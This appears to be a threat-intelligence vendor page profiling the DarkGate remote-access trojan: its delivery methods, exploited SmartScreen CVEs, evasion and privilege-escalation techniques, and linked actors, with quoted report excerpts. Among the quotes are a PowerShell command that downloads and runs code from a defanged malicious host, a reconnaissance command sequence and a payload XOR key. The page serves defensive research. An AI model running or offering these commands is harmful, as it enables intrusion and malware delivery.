Loading malware…
DarkGate, also known as MehCrypter, is a Windows remote-access trojan and malware-as-a-service offering first reported in 2018 and sold by the underground operator known as RastaFarEye. It is used by multiple cybercrime actors as an initial-access and payload-delivery tool, including in activity linked to ransomware operations. DarkGate provides modular remote-control and post-compromise functionality, including information and credential theft, keylogging, hidden virtual network computing, screen capture, browser-data theft, remote command execution, and downloading and executing additional payloads. Captured keystrokes can be encrypted and exfiltrated to command-and-control infrastructure.
DarkGate has been distributed through phishing email attachments and links, Microsoft Teams lures, compromised or attacker-controlled download sites, SEO poisoning, malvertising, fake browser updates, malicious PDF files, Microsoft Office documents, Internet Shortcut files, MSI packages, and Excel add-ins. Campaigns commonly employ staged loaders using AutoIt or AutoHotKey and execute final payloads in memory. Observed variants have abused SmartScreen bypass vulnerabilities, including CVE-2023-36025 and CVE-2024-21412.
The malware incorporates extensive evasion and privilege-escalation functionality. It can perform security-software discovery, anti-virtual-machine and anti-debugging checks, conceal installation artifacts in hidden directories, use process hollowing or process injection, and bypass Windows User Account Control. Some variants establish persistence through Startup-folder artifacts or Run keys. DarkGate has also used DLL side-loading, including abuse of legitimate applications to load a malicious library. It primarily targets Windows systems and has been observed globally across numerous industry sectors.
Mallory pivots from this family to the IOCs, detections, and named campaigns that touch your stack, and pages you when something new lands.
3 CVEs Mallory has correlated with this family across public research and vendor advisories. Each row links to the full Mallory page for that vulnerability.
Throughout 2024, we have seen an increase in malicious MSI files, such as in a DarkGate campaign that exploited the Microsoft Windows Internet Shortcut SmartScreen Bypass Vulnerability (CVE-2024-21412).
Additionally, the .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen. ... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file or a hyperlink pointing to a .URL file. | Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
— Privilege Escalation using CVE-2021–1733 or Process Hollowing ... DarkGate attempts to escalate privileges in two ways. One method is using PsExec to obtain SYSTEM privileges(CVE-2021–1733), and the other method is the Process Hollowing method. | DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
13 distinct threat actors attributed by public researchers. Open in Mallory to see the full evidence chain and overlapping campaigns.
“Since the TA571 / DarkGate campaign in 2024, one of the earliest documented usages of this technique, ClickFix campaigns have garnered widespread popularity among threat actors.”
Throughout the summer and fall of 2023, DarkGate entered the ring competing for the top spot in the remote access trojan (RAT) and loader category. It was observed in use by multiple cybercrime actors... DarkGate can be used to steal information and download additional malware payloads.
Cardinal has since resumed attacks and now appears to have switched to working with the operators of the DarkGate loader to obtain access to potential victims.
First discovered in 2018, DarkGate is a Remote Access Trojan (RAT) that enables attackers to fully compromise victim systems. The software is developed and sold as Malware-as-a-Service (MaaS) by an actor known as RastaFarEye on underground cybercrime forums.
DarkGate is a malware that has been developed since 2017 and sold as Malware-as-a-Service. DarkGate supports attackers able to do malicious acts to victims listed below. — Remote Code Execution by Reverse Shell or Remote Desktop such as VNC and AnyDesk. — Data Exfiltration on saved files, browser cookies, or cached passwords. — Cryptocurrency Mining using XMRig — Privilege Escalation using CVE-2021–1733 or Process Hollowing — Persistence Management for DarkGate itself
Specifically, our SOC frequently saw Black Basta sign Pikabot and Darkgate malware they used in phishing campaigns.
33 distinct techniques documented for this family, organized by ATT&CK tactic.
This campaign delivered fake browser update requests to end users on their web browsers that dropped a DarkGate payload... Users who passed the traffic inspection would be redirected to a fake browser update.
The first decoded part results in the AutoIt.exe binary and the second part is an AutoIt script that will be named script.au3... CreateProcessA function is called to execute the AutoIt script using AutoIt.exe
powershell.exe -Command Invoke-Expression (Invoke-RestMethod -Uri hxxp://todayput[.]shop:8080/rkypqqyb)
The VBS in turn downloaded and executed several shell commands (cmd.exe)
Once this export is called, a blob of hex bytes is xor decoded to produce a Wscript command containing C2 information and filenames.
used curl to download and save an AutoIT script, and ran the downloaded AutoIT script with the downloaded AutoIT interpreter. The AutoIT script ran an embedded DarkGate
Darkgate has recently utilised XLL (Excel Add-in) files as part of the infection process. An XLL is essentially a DLL file that can be executed by Microsoft Excel. When opened, the XLL will automatically execute the xlAutoOpen export.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
The content repeatedly describes malware and threat actors that 'bypass UAC,' 'perform UAC bypass,' or use specific Windows components such as fodhelper.exe, eventvwr.exe, sdclt.exe, CMSTPLUA COM interface, SilentCleanup, and registry hijacks to gain elevated privileges.
Once the malware obtains the two parts it decodes both using the same custom base64 approach... The content next to the saved 8 bytes buffer is read and a multi-byte XOR operation is performed against it using the buffer as a XOR key.
The threat actor injected a request to a domain they controlled that used .css steganography to conceal the malicious code.
The DLL side-loading technique is used here in order to execute a fake version of the dbgeng.dll DLL file.
This ZIP compressed file contained five Windows shortcut or LNK files trying to masquerade a PDF file using the double extension method, '.pdf.lnk'.
Agent Tesla has used process hollowing to create and manipulate processes through sections of unmapped memory by reallocating that space with its malicious code. APT-C-36 has used process hollowing to execute malware in the memory of legitimate processes. Astaroth can create a new process in a suspended state from a targeted legitimate process in order to unmap its memory and replace it with malicious code.
read encrypted data stored in the sqlite3.dll file into a buffer, decrypt it using XOR with the decryption key “ VzXLKSZE ”, and finally execute the decrypted payload
The .URL files involved exploited CVE-2023-36025, a vulnerability in Windows SmartScreen... The vulnerability could allow an actor to bypass the SmartScreen defenses if a user clicked on a specially crafted .URL file
The shell commands... copied curl.exe from system folder to this new directory, used the curl to download Autoit3.exe
Further examination using the Orca tool reveals that the CustomAction section executes the bz.CustomActionDll file
Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId
systeminfo whoami net user <username> /domain ipconfig ping -n 1 <Domain Controller>
For the bot ID generation, DarkGate gathers five pieces of information: Computer name User name Processor information from the registry value HKLM\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString Windows product ID from the registry value HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProductId Number of processors via API GetSystemInfo
357 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Full values are available in Mallory.
IPs, domains, and DNS infrastructure linked to this family.
File hashes (MD5, SHA-1, SHA-256) from samples and reports.
Other indicator types observed in public reporting.
185 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.
Mentioned as part of a 2024 TA571 campaign that was among the earliest documented uses of the ClickFix technique; it is background context and is not deployed in the StopAndProtect campaign described here.
Mentioned only as an example of another campaign using malicious MSI files.
A multi-stage loader delivered via VBS, AutoIt, shellcode, and an executor that decrypts and loads the final DarkGate payload. Advertised capabilities include Hidden VNC, Windows Defender exclusion, browser history stealing, reverse proxy, file manager, and Discord token stealing.
DarkGate is a Malware-as-a-Service loader with remote access trojan capabilities. The report describes reverse shell access, PowerShell execution, keylogging, Discord token theft, hidden VNC-based remote access, privilege escalation, persistence, dynamic API resolution, APC injection, environment detection, and HTTP-based obfuscated command-and-control communications.
Match every observed IP, domain, and hash against your live telemetry.
Named campaigns wielding this family, with evidence pinned to each claim.
CVEs this family uses for access and lateral movement.
YARA, Sigma, Snort, and vendor rules, auto-deployed to your SIEM.
Every documented technique, ranked by evidence weight.
Reddit, Mastodon, and CTI community discussion around this family.